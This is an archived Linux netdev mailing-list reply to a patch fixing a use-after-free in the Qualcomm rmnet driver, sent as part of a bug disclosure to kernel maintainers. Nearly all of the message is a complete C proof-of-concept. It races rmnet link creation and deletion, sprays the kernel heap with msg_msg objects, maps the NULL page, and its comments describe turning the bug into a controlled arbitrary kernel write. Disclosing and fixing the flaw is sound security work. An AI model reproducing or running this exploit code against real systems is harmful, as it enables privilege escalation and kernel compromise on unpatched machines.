All of lore.kernel.org
 help / color / mirror / Atom feed
From: Weiming Shi <bestswngs@gmail.com>
To: Subash Abhinov Kasiviswanathan
	<subash.a.kasiviswanathan@oss.qualcomm.com>,
	 Sean Tranchetti <sean.tranchetti@oss.qualcomm.com>,
	Andrew Lunn <andrew+netdev@lunn.ch>,
	 "David S . Miller" <davem@davemloft.net>,
	Eric Dumazet <edumazet@google.com>,
	 Jakub Kicinski <kuba@kernel.org>,
	Paolo Abeni <pabeni@redhat.com>
Cc: netdev@vger.kernel.org, Xiang Mei <xmei5@asu.edu>
Subject: Re: [PATCH] net: qualcomm: rmnet: fix endpoint use-after-free in rmnet_dellink()
Date: Mon, 11 May 2026 20:15:10 +0800	[thread overview]
Message-ID: <agHIOLmkPnn-FxHr@Air.local> (raw)
In-Reply-To: <20260511120015.2298403-4-bestswngs@gmail.com>


Thanks for your attention to this bug. Here are some resources to help
you trigger the bug.

Required key configs for the poc:

CONFIG_USER_NS=y
kernel.unprivileged_userns_clone=1


Here is a PoC trigger that causes the intended crash shown in the
commit message:
```
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/if_ether.h>
#include <linux/if_tun.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef ETH_P_MAP
#define ETH_P_MAP 0x00F9
#endif

#ifndef RMNET_FLAGS_INGRESS_DEAGGREGATION
#define RMNET_FLAGS_INGRESS_DEAGGREGATION (1U << 0)
#endif

enum {
        _IFLA_RMNET_UNSPEC,
        _IFLA_RMNET_MUX_ID,
        _IFLA_RMNET_FLAGS,
        ___IFLA_RMNET_MAX,
};
struct _ifla_rmnet_flags { uint32_t flags; uint32_t mask; };

#ifndef IFLA_INFO_KIND
#define IFLA_INFO_KIND 1
#define IFLA_INFO_DATA 2
#endif

#define NL_BUFSZ    4096
#define TUN_NAME    "tunrm0"
#define KEEP_NAME   "rmkeep0"
#define VICTIM_NAME "rmvict0"
#define KEEP_MUX    2
#define VICTIM_MUX  1
#define NUM_WRITERS 4

/*
 * Offset of priv->pcpu_stats when dev=NULL:
 *   netdev_priv(NULL) = ALIGN(sizeof(struct net_device), 32)
 *   On this kernel build: 0xa00
 *   pcpu_stats is at offsetof(rmnet_priv, pcpu_stats) = 0x10
 *   So priv->pcpu_stats is at address 0xa10
 *
 * Determined from crash output:
 *   CR2: 0000000000000a10
 *   Code: <48> 8b 86 10 0a 00 00  →  mov rax, [rsi + 0xa10]
 */
#define NETDEV_PRIV_OFFSET   0xa00
#define PCPU_STATS_OFFSET    0x10
#define NULL_PAGE_TARGET     (NETDEV_PRIV_OFFSET + PCPU_STATS_OFFSET) /* 0xa10 */

/*
 * To write at an arbitrary kernel address T:
 *   *(0xa10) = T - per_cpu_offset
 *   per_cpu_offset is read from GS base at runtime.
 *
 * Default target: 0xffffffffdeadbeef (unmapped → page fault proves control)
 * Change WRITE_TARGET to any mapped kernel address for a silent write.
 */
#define WRITE_TARGET         0xffffffffdeadbeefULL
#define PERCPU_OFFSET        0xffff8880f81df000ULL  /* CPU1 on this QEMU build */
#define PCPU_MARKER          ((WRITE_TARGET - PERCPU_OFFSET) & 0xffffffffffffffffULL)

/* Heap spray: msg_msgseg marker for the egress_dev pointer */
#define SPRAY_MARKER         0x4141414141414141ULL

/* --- Heap spray parameters --- */
#define MSG_MSG_SZ_MAX  48
#define DATALEN_MSG     (4096 - MSG_MSG_SZ_MAX)
#define SEG_DATA_SZ     24
#define MSG_TOTAL_SZ    (DATALEN_MSG + SEG_DATA_SZ)
#define SPRAY_COUNT     128

struct spray_msg {
        long mtype;
        char mtext[MSG_TOTAL_SZ];
};

struct rmnet_map_hdr {
        uint8_t  flags;
        uint8_t  mux_id;
        uint16_t pkt_len;
} __attribute__((packed));

static volatile int g_stop = 0;
static int spray_qid = -1;
static struct spray_msg *spray_buf;
static struct spray_msg *recv_buf;

static void pin_cpu(int cpu)
{
        cpu_set_t s;
        CPU_ZERO(&s);
        CPU_SET(cpu, &s);
        sched_setaffinity(0, sizeof(s), &s);
}

static uint16_t ip_csum(const void *b, size_t l)
{
        const uint16_t *p = b;
        uint32_t s = 0;
        while (l > 1) { s += *p++; l -= 2; }
        if (l) s += *(const uint8_t *)p;
        while (s >> 16) s = (s & 0xffff) + (s >> 16);
        return ~s;
}

/* --- NULL page mapping --- */

static void setup_null_page(void)
{
        FILE *f;

        f = fopen("/proc/sys/vm/mmap_min_addr", "w");
        if (f) {
                fprintf(f, "0\n");
                fclose(f);
        } else {
                fprintf(stderr, "WARNING: cannot set mmap_min_addr=0\n");
        }

        /*
         * Map page 0 so that when skb->dev=NULL, the kernel can read
         * through netdev_priv(NULL) without faulting (requires nosmap).
         *
         * At offset 0xa10, place a controlled pcpu_stats pointer.
         * The kernel does: this_cpu_ptr(*(0xa10)) → write at controlled addr.
         */
        void *p = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                       MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE,
                       -1, 0);
        if (p == MAP_FAILED) {
                perror("mmap NULL page");
                fprintf(stderr, "NULL page mapping failed — will rely on heap spray only\n");
                return;
        }

        memset(p, 0, 0x1000);

        /* Place controlled pcpu_stats pointer at offset 0xa10 */
        *(uint64_t *)((char *)p + NULL_PAGE_TARGET) = PCPU_MARKER;

        fprintf(stderr, "NULL page mapped. *(0x%x) = 0x%llx\n",
                NULL_PAGE_TARGET, (unsigned long long)PCPU_MARKER);
        fprintf(stderr, "Write target: 0x%llx (= 0x%llx + per_cpu 0x%llx)\n",
                (unsigned long long)WRITE_TARGET,
                (unsigned long long)PCPU_MARKER,
                (unsigned long long)PERCPU_OFFSET);
}

/* --- Heap spray --- */

static void spray_init(void)
{
        spray_buf = malloc(sizeof(*spray_buf));
        recv_buf = malloc(sizeof(*recv_buf));
        if (!spray_buf || !recv_buf) { perror("malloc spray"); exit(1); }

        spray_buf->mtype = 1;
        memset(spray_buf->mtext, 0x41, MSG_TOTAL_SZ);

        spray_qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
        if (spray_qid < 0) { perror("msgget"); exit(1); }

        struct msqid_ds ds;
        msgctl(spray_qid, IPC_STAT, &ds);
        ds.msg_qbytes = SPRAY_COUNT * (MSG_TOTAL_SZ + 64);
        msgctl(spray_qid, IPC_SET, &ds);
}

static int spray_kmalloc32(void)
{
        int sent = 0;
        for (int i = 0; i < SPRAY_COUNT; i++) {
                if (msgsnd(spray_qid, spray_buf, MSG_TOTAL_SZ, IPC_NOWAIT) < 0)
                        break;
                sent++;
        }
        return sent;
}

static void spray_cleanup(int count)
{
        for (int i = 0; i < count; i++) {
                if (msgrcv(spray_qid, recv_buf, MSG_TOTAL_SZ, 0, IPC_NOWAIT) < 0)
                        break;
        }
}

/* --- Netlink helpers --- */

#define NLMSG_TAIL(n) \
        ((struct rtattr *)(((char *)(n)) + NLMSG_ALIGN((n)->nlmsg_len)))

static void nla_put(struct nlmsghdr *n, int t, const void *d, size_t l)
{
        struct rtattr *r = NLMSG_TAIL(n);
        size_t rl = RTA_LENGTH(l);
        r->rta_type = t;
        r->rta_len = rl;
        if (l) memcpy(RTA_DATA(r), d, l);
        n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(rl);
}

static struct rtattr *nla_nest(struct nlmsghdr *n, int t)
{
        struct rtattr *r = NLMSG_TAIL(n);
        nla_put(n, t, NULL, 0);
        return r;
}

static void nla_nest_end(struct nlmsghdr *n, struct rtattr *r)
{
        r->rta_len = (char *)NLMSG_TAIL(n) - (char *)r;
}

static int nl_talk(int fd, struct nlmsghdr *h)
{
        static uint32_t seq = 100;
        char buf[NL_BUFSZ];

        h->nlmsg_seq = __atomic_fetch_add(&seq, 1, __ATOMIC_RELAXED);
        h->nlmsg_pid = 0;
        if (send(fd, h, h->nlmsg_len, 0) < 0) return -errno;

        for (;;) {
                ssize_t n = recv(fd, buf, sizeof(buf), 0);
                if (n < 0) { if (errno == EINTR) continue; return -errno; }
                struct nlmsghdr *r;
                for (r = (void *)buf; NLMSG_OK(r, (unsigned)n); r = NLMSG_NEXT(r, n)) {
                        if (r->nlmsg_seq != h->nlmsg_seq) continue;
                        if (r->nlmsg_type == NLMSG_ERROR)
                                return ((struct nlmsgerr *)NLMSG_DATA(r))->error;
                        if (r->nlmsg_type == NLMSG_DONE) return 0;
                }
        }
}

/* --- Device operations --- */

static int open_tun(const char *name)
{
        int fd = open("/dev/net/tun", O_RDWR | O_NONBLOCK);
        if (fd < 0) { perror("tun"); exit(1); }
        struct ifreq ifr = {};
        snprintf(ifr.ifr_name, IFNAMSIZ, "%s", name);
        ifr.ifr_flags = IFF_TUN | IFF_MULTI_QUEUE;
        if (ioctl(fd, TUNSETIFF, &ifr)) { perror("TUNSETIFF"); exit(1); }
        return fd;
}

static void link_up(const char *name)
{
        int fd = socket(AF_INET, SOCK_DGRAM, 0);
        struct ifreq ifr = {};
        snprintf(ifr.ifr_name, IFNAMSIZ, "%s", name);
        ioctl(fd, SIOCGIFFLAGS, &ifr);
        ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
        ioctl(fd, SIOCSIFFLAGS, &ifr);
        close(fd);
}

static int mk_rmnet(int nlfd, const char *name, const char *lower, uint16_t mux)
{
        struct { struct nlmsghdr h; struct ifinfomsg i; char b[NL_BUFSZ]; } rq = {};
        unsigned idx = if_nametoindex(lower);
        if (!idx) return -ENODEV;

        rq.h.nlmsg_len = NLMSG_LENGTH(sizeof(rq.i));
        rq.h.nlmsg_type = RTM_NEWLINK;
        rq.h.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;

        nla_put(&rq.h, IFLA_IFNAME, name, strlen(name) + 1);
        nla_put(&rq.h, IFLA_LINK, &idx, 4);

        struct rtattr *li = nla_nest(&rq.h, IFLA_LINKINFO);
        nla_put(&rq.h, IFLA_INFO_KIND, "rmnet", 6);
        struct rtattr *id = nla_nest(&rq.h, IFLA_INFO_DATA);
        nla_put(&rq.h, _IFLA_RMNET_MUX_ID, &mux, 2);
        struct _ifla_rmnet_flags f = { 0, RMNET_FLAGS_INGRESS_DEAGGREGATION };
        nla_put(&rq.h, _IFLA_RMNET_FLAGS, &f, sizeof(f));
        nla_nest_end(&rq.h, id);
        nla_nest_end(&rq.h, li);

        return nl_talk(nlfd, &rq.h);
}

static int rm_link(int nlfd, const char *name)
{
        unsigned idx = if_nametoindex(name);
        if (!idx) return -ENODEV;
        struct { struct nlmsghdr h; struct ifinfomsg i; char b[256]; } rq = {};
        rq.h.nlmsg_len = NLMSG_LENGTH(sizeof(rq.i));
        rq.h.nlmsg_type = RTM_DELLINK;
        rq.h.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        rq.i.ifi_index = idx;
        return nl_talk(nlfd, &rq.h);
}

/* --- Writer thread --- */

static void *writer_fn(void *arg)
{
        int fd = *(int *)arg;
        uint8_t pkt[64];
        struct tun_pi *pi = (void *)pkt;
        struct rmnet_map_hdr *rm = (void *)(pi + 1);
        uint8_t *ip = (uint8_t *)(rm + 1);

        memset(pkt, 0, sizeof(pkt));
        pi->proto = htons(ETH_P_MAP);
        rm->mux_id = VICTIM_MUX;
        rm->pkt_len = htons(20);
        ip[0] = 0x45; ip[3] = 0x14; ip[4] = 0x12; ip[5] = 0x34;
        ip[8] = 0x40; ip[9] = 0xfd;
        ip[12] = 0x0a; ip[15] = 1; ip[16] = 0x0a; ip[19] = 2;
        *(uint16_t *)(ip + 10) = ip_csum(ip, 20);
        size_t len = sizeof(*pi) + sizeof(*rm) + 20;

        pin_cpu(1);

        while (!__atomic_load_n(&g_stop, __ATOMIC_RELAXED)) {
                for (int i = 0; i < 64; i++)
                        write(fd, pkt, len);
        }
        return NULL;
}

int main(void)
{
        int nlfd, tun_fds[NUM_WRITERS];
        pthread_t tids[NUM_WRITERS];
        uint64_t iter = 0;
        int spray_sent;

        fprintf(stderr,
                "=== rmnet endpoint RCU UAF → controlled write PoC ===\n\n"
                "Write chain: ep->egress_dev → skb->dev → netdev_priv()\n"
                "  → priv->pcpu_stats → this_cpu_ptr() → rx_pkts++ (WRITE)\n\n"
                "Two attack paths:\n"
                "  Path A (NULL page): ep->egress_dev=NULL → dev=NULL\n"
                "    → reads *(0x%x) from mapped page 0 → controlled write\n"
                "  Path B (heap spray): ep->egress_dev=0x%llx from msg_msgseg\n"
                "    → direct controlled pointer → GP fault at marker\n\n",
                NULL_PAGE_TARGET,
                (unsigned long long)SPRAY_MARKER);

        pin_cpu(0);
        nlfd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);

        /* Map page 0 with controlled data for the NULL deref path */
        setup_null_page();

        /* Create TUN + persistent rmnet */
        for (int i = 0; i < NUM_WRITERS; i++)
                tun_fds[i] = open_tun(TUN_NAME);
        link_up(TUN_NAME);

        if (mk_rmnet(nlfd, KEEP_NAME, TUN_NAME, KEEP_MUX))
                { fprintf(stderr, "Failed to create %s\n", KEEP_NAME); exit(1); }
        link_up(KEEP_NAME);

        /* Initialize heap spray */
        spray_init();

        /* Start writer threads */
        for (int i = 0; i < NUM_WRITERS; i++)
                pthread_create(&tids[i], NULL, writer_fn, &tun_fds[i]);

        fprintf(stderr, "Writers started. Racing...\n");

        for (;;) {
                iter++;

                int e = mk_rmnet(nlfd, VICTIM_NAME, TUN_NAME, VICTIM_MUX);
                if (e) {
                        if ((iter % 10000) == 0)
                                fprintf(stderr, "[%llu] create err=%d\n",
                                        (unsigned long long)iter, e);
                        usleep(100);
                        continue;
                }
                link_up(VICTIM_NAME);

                rm_link(nlfd, VICTIM_NAME);

                /* Spray kmalloc-32 to reclaim freed endpoint slab */
                spray_sent = spray_kmalloc32();

                usleep(50);

                spray_cleanup(spray_sent);

                while (if_nametoindex(VICTIM_NAME))
                        ;

                if ((iter % 500) == 0)
                        fprintf(stderr, "[spray] iter=%llu sent=%d\n",
                                (unsigned long long)iter, spray_sent);
        }

        __atomic_store_n(&g_stop, 1, __ATOMIC_RELAXED);
        for (int i = 0; i < NUM_WRITERS; i++)
                pthread_join(tids[i], NULL);
        msgctl(spray_qid, IPC_RMID, NULL);
        close(nlfd);
        return 0;
}

```


  reply	other threads:[~2026-05-11 12:15 UTC|newest]

Thread overview: 3+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-05-11 12:00 [PATCH] net: qualcomm: rmnet: fix endpoint use-after-free in rmnet_dellink() Weiming Shi
2026-05-11 12:15 ` Weiming Shi [this message]
2026-05-14 10:59 ` Paolo Abeni

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=agHIOLmkPnn-FxHr@Air.local \
    --to=bestswngs@gmail.com \
    --cc=andrew+netdev@lunn.ch \
    --cc=davem@davemloft.net \
    --cc=edumazet@google.com \
    --cc=kuba@kernel.org \
    --cc=netdev@vger.kernel.org \
    --cc=pabeni@redhat.com \
    --cc=sean.tranchetti@oss.qualcomm.com \
    --cc=subash.a.kasiviswanathan@oss.qualcomm.com \
    --cc=xmei5@asu.edu \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.